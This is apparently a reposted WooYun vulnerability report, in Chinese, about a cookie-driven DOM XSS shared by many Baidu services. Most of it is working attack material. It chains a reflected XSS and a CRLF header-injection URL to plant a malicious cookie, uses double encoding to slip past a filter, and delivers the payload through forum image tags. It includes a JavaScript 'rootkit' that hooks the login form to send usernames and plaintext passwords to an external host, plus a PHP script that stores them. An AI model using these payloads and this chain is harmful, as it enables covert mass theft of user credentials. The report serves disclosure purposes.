A-A+

一个可大规模隐蔽窃取百度账号密码的漏洞(无需点击全线产品)

2017年09月18日 17:47 汪洋大海 暂无评论 阅读 1,667 views 次

在分析map.baidu.com时发现其代码会eval执行cookie PMS_JT的值

分析漏洞点.jpg

测试

测试漏洞点.jpg

添加PMS_JT的值为alert(1),访问成功执行,确定存在cookie来源的dom xss漏洞,可构造形成xss rookit。
在分析其他百度业务发现,这是一个通用的问题,基本所有的核心业务均存在这个问题。

基本所有产品均存在.jpg

cookie_xss_news.jpg

cookie_xss_map.jpg

cookie_xss_tieba.jpg

cookie_xss_v.jpg

cookie_xss_music.jpg

cookie_xss_waimai.jpg

cookie_xss_zhidao.jpg

cookie_xss_baike.jpg

cookie_xss_vip.jpg

如何体现危害呢,在http://wooyun.org/bugs/wooyun-2016-0167493已经描述,鉴于此漏洞还未公开
这里再重新验证一遍
先构造让其执行我们远端的js,方便测试。
修改PMS_JT的值为


document.write('<script src="//txt888.sinaapp.com/test.js"></script>')

或者

var%20element%3Ddocument.createElement%28%27script%27%29%3Belement.setAttribute%28%27src%27%2C%20%27http%3A%2f%2ftxt888.sinaapp.com%2ftest.js%27%29%3Bdocument.getElementsByTagName%28%22head%22%29.item%280%29.appendChild%28element%29%3B

都可以

测试执行远程js.jpg

成功执行触发
首先要触发此漏洞的前提为能修改cookie的值,有2种漏洞组合可以触发此漏洞。
第一种为利用反射型xss
这里伏宸自动化渗透测试已找到多个baidu.com域下的xss漏洞,拿一个测试一下。
http://m.apistore.baidu.com/astore/mfaqdetail/?tag=0&webTitle=APIStore%E4%BB%8B%E7%BB%8D<img src=1 onerror=alert(1)>
先编写修改cookie js
baidu_test.js

function fSetCookie(c, e, d) {
var a = ";domain=" + d +";path=/" ;
document.cookie = c + "=" + e + a + ";expires=" + new Date(2099, 12, 31).toGMTString();
}
fSetCookie("PMS_JT","document.write('<script src=\"//txt888.sinaapp.com/test.js\"></script>')",".baidu.com")

构造访问

http://m.apistore.baidu.com/astore/mfaqdetail/?tag=0&webTitle=APIStore%E4%BB%8B%E7%BB%8D<srcipt src="//txt888.sinaapp.com/baidu_test.js"></script>

反射型xss测试.jpg

成功修改cookie值
打开tieba.baidu.com 成功执行,其他业务也均成功触发

反射型xss成功.jpg

继续构造,目标为窃取用户明文账号密码
首先分析其登录框

显示登录框.jpg

执行_.Module.use("common/widget/LoginDialog", ["", "userBar"])时将加载登录框
构造窃取代码
baidu_rookit.js

function login_jc(){
a = new Image();
a.src = "http://txt888.sinaapp.com/form_save.php?user=" + document.getElementById("TANGRAM__PSP_8__userName").value + "&password=" + document.getElementById("TANGRAM__PSP_8__password").value;
return true;
}
_.Module.use("common/widget/LoginDialog", ["", "userBar"]);#加载登录框
setTimeout("document.getElementById(\"TANGRAM__PSP_8__form\").setAttribute(\"onsubmit\",\"login_jc();\")",5000);#5秒后增加onsubmit事件

保存代码
form_save.php

<?php
function insert($data){
$mysql = new SaeMysql();
$sql = "insert into test(`data`,`time`) values('$data',now())";
$mysql->runsql($sql);
$mysql->closeDb();
if ($mysql->errno() != 0){
die("Error:" . $mysql->errmsg());
}
}
if (count($_GET)>=1){
$data = json_encode($_GET);
insert($data);
echo 1;
}
?>

访问成功弹出登录框.jpg

打开登录测试,成功执行弹出登录框

成功截取发送.jpg

成功.jpg

成功截取到密码
使用反射型xss需被攻击者打开攻击链接,成功率与隐蔽性都不够,所以我们使用另一种漏洞来组合
第二种为crlf漏洞
这里伏宸自动化渗透测试平台也找到baidu.com域下多个crlf漏洞,拿一个测试
根据漏洞构造添加cookie测试
访问
http://wenku.baidu.com:80/topic/new/href=/%0aset-cookie:future=123123; domain=.baidu.com; path=/%0aa:

clrf_test.jpg

成功设置.baidu.com cookie,根域下所有子域名均可调用,所以只需激活一次,全线产品均可截取
构造加载截取脚本

http://wenku.baidu.com:80/topic/new/href=/%0aset-cookie:PMS_JT=document.write%28%27%3Cscript%20src%3D%22%2f%2f%2ftxt888.sinaapp.com%2fbaidu_rookit.js%22%3E%3C%2fscript%3E%27%29; domain=.baidu.com; path=/%0aa:

clrf_设置利用代码.jpg

成功设置,打开tieba.baidu.com 测试

没反应.jpg

发现无任何反应,为什么呢
再查看

被过滤.jpg

原来//被过滤成/了,导致无法加载我们远端的js
如何绕过呢
我们可以用双重编码的方式绕过
构造

http://wenku.baidu.com:80/topic/new/href=/%0aset-cookie:PMS_JT=document.write%28%27%3Cscript%20src%3D%22%252f%252ftxt888.sinaapp.com%2fbaidu_rookit.js%22%3E%3C%2fscript%3E%27%29; domain=.baidu.com; path=/%0aa:

访问

clrf再构造.jpg

clrf_成功加载弹出.jpg

成功加载执行我们的截取代码
因为crlf设置cookie为get请求,我们可以使用所有可以触发get请求的方式进行攻击,例如<img>标签
<img src="http://wenku.baidu.com:80/topic/new/href=/%0aset-cookie:PMS_JT=document.write%28%27%3Cscript%20src%3D%22%252f%252ftxt888.sinaapp.com%2fbaidu_rookit.js%22%3E%3C%2fscript%3E%27%29; domain=.baidu.com; path=/%0aa:">
测试访问

img_crlf测试.jpg

成功设置cookie
也就是说只要能插入访问外部网络资源的地方就可以插入攻击代码(图片,视频,flash等等),在受害者上网过程中不知不觉中就被窃取账号密码。
测试
例如DZ的论坛
发帖或回帖
插入图片,地址填

http://wenku.baidu.com:80/topic/new/href=/%0aset-cookie:%20PMS_JT=document.write%28%27%3Cscript%20src%3D%22%252f%252ftxt888.sinaapp.com%2fbaidu_rookit.js%22%3E%3C%2fscript%3E%27%29;%20domain=.baidu.com;%20path=/%0aa:#.jpg

注:空格都要转换为%20

dz_插入图片.jpg

成功修改cookie

登录.jpg

测试登录

成功窃取.jpg

成功截取到用户名以及明文密码信息
其不同业务登录框均有细微不同,以上测试截取代码仅为tieba.baidu.com测试,若要全线窃取需编写判断执行不同的窃取代码。
整理:攻击流程,在社交论坛,贴吧,空间等可添加外部资源的地方插入攻击代码(图片),受害者在正常使用论坛查看帖子或其他无意中触发攻击代码,触发后其下次登录百度旗下存在漏洞产品时用户名密码将会被截取发送至攻击者指定的地址中。

严记只要是用户可以控制的变量都是有危害的。

文章来源:已经逝去的乌云,编号:wooyun-2016-0167493

布施恩德可便相知重

微信扫一扫打赏

支付宝扫一扫打赏

×

给我留言